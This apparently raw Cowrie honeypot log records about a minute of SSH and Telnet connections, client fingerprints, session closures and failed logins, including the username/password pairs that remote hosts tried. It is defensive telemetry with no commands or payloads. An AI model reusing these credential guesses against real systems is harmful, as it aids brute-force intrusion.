{"eventid":"cowrie.login.failed","username":"ali","password":"Aa@123456","message":"login attempt [ali/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:59.487497Z","src_ip":"154.219.100.220","session":"e4cf60db7d7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50008,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ad9d85d32f","protocol":"telnet","message":"New connection: 161.97.105.174:50008 (159.203.135.109:23) [session: 08ad9d85d32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:00.092744Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:00.703051Z","src_ip":"154.219.100.220","session":"e4cf60db7d7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.81.189.19","src_port":13638,"dst_ip":"159.203.135.109","dst_port":23,"session":"68767bb93b51","protocol":"telnet","message":"New connection: 170.81.189.19:13638 (159.203.135.109:23) [session: 68767bb93b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:01.703692Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50014,"dst_ip":"159.203.135.109","dst_port":23,"session":"e540c42ae954","protocol":"telnet","message":"New connection: 161.97.105.174:50014 (159.203.135.109:23) [session: e540c42ae954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:01.903440Z"}
{"eventid":"cowrie.session.closed","duration":33.406657218933105,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:03.132363Z","src_ip":"161.97.105.174","session":"deaa3d6d43f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.27590799331665,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:04.335510Z","src_ip":"161.97.105.174","session":"59cfe5d3021f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.023935079574585,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:04.847081Z","src_ip":"161.97.105.174","session":"9eccc5a978de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.379658699035645,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:05.606449Z","src_ip":"161.97.105.174","session":"5bedbb925057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.21155118942261,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:05.656195Z","src_ip":"64.227.101.30","session":"8fca2fa3d144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50020,"dst_ip":"159.203.135.109","dst_port":23,"session":"5115f5b82360","protocol":"telnet","message":"New connection: 161.97.105.174:50020 (159.203.135.109:23) [session: 5115f5b82360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:05.886828Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":12646,"dst_ip":"159.203.135.109","dst_port":22,"session":"cef9323de6d1","protocol":"ssh","message":"New connection: 220.247.224.226:12646 (159.203.135.109:22) [session: cef9323de6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:06.239632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:06.244486Z","src_ip":"220.247.224.226","session":"cef9323de6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.765774726867676,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:06.280992Z","src_ip":"161.97.105.174","session":"f75b7a16fb07","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:06.475668Z","src_ip":"220.247.224.226","session":"cef9323de6d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminnaja","message":"login attempt [root/adminnaja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:07.430187Z","src_ip":"220.247.224.226","session":"cef9323de6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:08.663448Z","src_ip":"220.247.224.226","session":"cef9323de6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.35838723182678,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:09.500645Z","src_ip":"161.97.105.174","session":"79f11e1bf346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01559567451477,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:10.375000Z","src_ip":"161.97.105.174","session":"320f0a205379","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02372336387634,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:12.438239Z","src_ip":"161.97.105.174","session":"ffcd0f2fc57f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.965439319610596,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:14.669014Z","src_ip":"170.81.189.19","session":"68767bb93b51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.437636852264404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:16.255045Z","src_ip":"161.97.105.174","session":"40537334c472","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59858,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9e25fa1f7b","protocol":"telnet","message":"New connection: 161.97.105.174:59858 (159.203.135.109:23) [session: 8e9e25fa1f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:16.755795Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.231","src_port":50411,"dst_ip":"10.17.0.5","dst_port":23,"session":"48bf996621eb","protocol":"telnet","message":"New connection: 147.185.132.231:50411 (10.17.0.5:23) [session: 48bf996621eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:20.816928Z"}
{"eventid":"cowrie.session.closed","duration":32.386839628219604,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:23.820311Z","src_ip":"161.97.105.174","session":"bb9952051090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73603820800781,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:24.666539Z","src_ip":"161.97.105.174","session":"6519a1c6715a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.529043674468994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:30.316291Z","src_ip":"161.97.105.174","session":"bc2d5ee24f1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":42450,"dst_ip":"10.17.0.5","dst_port":22,"session":"42dafa5ddac6","protocol":"ssh","message":"New connection: 202.125.94.71:42450 (10.17.0.5:22) [session: 42dafa5ddac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:31.583614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:31.588122Z","src_ip":"202.125.94.71","session":"42dafa5ddac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.709423780441284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:31.673821Z","src_ip":"161.97.105.174","session":"92a3a41d8a44","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:31.850597Z","src_ip":"202.125.94.71","session":"42dafa5ddac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:32.932657Z","src_ip":"202.125.94.71","session":"42dafa5ddac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.331188917160034,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:33.423806Z","src_ip":"161.97.105.174","session":"08ad9d85d32f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:34.196961Z","src_ip":"202.125.94.71","session":"42dafa5ddac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53086,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a1945cb4ea6","protocol":"telnet","message":"New connection: 161.97.105.174:53086 (159.203.135.109:23) [session: 1a1945cb4ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:34.266748Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53092,"dst_ip":"159.203.135.109","dst_port":23,"session":"4566d51affc8","protocol":"telnet","message":"New connection: 161.97.105.174:53092 (159.203.135.109:23) [session: 4566d51affc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:34.434308Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53094,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f9ec598f605","protocol":"telnet","message":"New connection: 161.97.105.174:53094 (159.203.135.109:23) [session: 5f9ec598f605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:34.675762Z"}
{"eventid":"cowrie.session.closed","duration":34.9219229221344,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:36.825227Z","src_ip":"161.97.105.174","session":"e540c42ae954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.60072922706604,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:38.487431Z","src_ip":"161.97.105.174","session":"5115f5b82360","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45786,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8580673f9a6","protocol":"telnet","message":"New connection: 161.97.105.174:45786 (159.203.135.109:23) [session: d8580673f9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:39.441649Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45798,"dst_ip":"159.203.135.109","dst_port":23,"session":"988f6a2ed066","protocol":"telnet","message":"New connection: 161.97.105.174:45798 (159.203.135.109:23) [session: 988f6a2ed066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:39.535875Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":34066,"dst_ip":"10.17.0.5","dst_port":22,"session":"31dc1c30b08e","protocol":"ssh","message":"New connection: 152.32.130.174:34066 (10.17.0.5:22) [session: 31dc1c30b08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:40.443337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:40.448194Z","src_ip":"152.32.130.174","session":"31dc1c30b08e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:40.658659Z","src_ip":"152.32.130.174","session":"31dc1c30b08e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45804,"dst_ip":"159.203.135.109","dst_port":23,"session":"12d1d8d14517","protocol":"telnet","message":"New connection: 161.97.105.174:45804 (159.203.135.109:23) [session: 12d1d8d14517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:41.506303Z"}
{"eventid":"cowrie.login.failed","username":"userdb","password":"userdb","message":"login attempt [userdb/userdb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:41.534855Z","src_ip":"152.32.130.174","session":"31dc1c30b08e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:42.764330Z","src_ip":"152.32.130.174","session":"31dc1c30b08e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41502,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ab43cd1aa71","protocol":"telnet","message":"New connection: 64.227.101.30:41502 (10.17.0.5:23) [session: 1ab43cd1aa71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:45.403049Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41736,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf6b7cb1b5f","protocol":"telnet","message":"New connection: 64.227.101.30:41736 (10.17.0.5:23) [session: 7cf6b7cb1b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:46.054069Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45092,"dst_ip":"159.203.135.109","dst_port":23,"session":"6918ccf53e66","protocol":"telnet","message":"New connection: 161.97.105.174:45092 (159.203.135.109:23) [session: 6918ccf53e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:48.479729Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":52458,"dst_ip":"10.17.0.5","dst_port":22,"session":"6250fda15abf","protocol":"ssh","message":"New connection: 154.219.100.220:52458 (10.17.0.5:22) [session: 6250fda15abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:49.716641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:49.721001Z","src_ip":"154.219.100.220","session":"6250fda15abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:49.926003Z","src_ip":"154.219.100.220","session":"6250fda15abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"787878","message":"login attempt [admin/787878] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:50.781312Z","src_ip":"154.219.100.220","session":"6250fda15abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45094,"dst_ip":"159.203.135.109","dst_port":23,"session":"4846f09036ed","protocol":"telnet","message":"New connection: 161.97.105.174:45094 (159.203.135.109:23) [session: 4846f09036ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:51.638912Z"}
{"eventid":"cowrie.session.closed","duration":30.877720832824707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:51.694527Z","src_ip":"147.185.132.231","session":"48bf996621eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:51.988544Z","src_ip":"154.219.100.220","session":"6250fda15abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.985081911087036,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:53.740781Z","src_ip":"161.97.105.174","session":"8e9e25fa1f7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55224,"dst_ip":"159.203.135.109","dst_port":23,"session":"78f76915dc58","protocol":"telnet","message":"New connection: 161.97.105.174:55224 (159.203.135.109:23) [session: 78f76915dc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:28:58.734633Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":32788,"dst_ip":"10.17.0.5","dst_port":22,"session":"34ec6bfa45c8","protocol":"ssh","message":"New connection: 193.32.162.145:32788 (10.17.0.5:22) [session: 34ec6bfa45c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:01.136257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:01.141491Z","src_ip":"193.32.162.145","session":"34ec6bfa45c8","protocol":"ssh"}
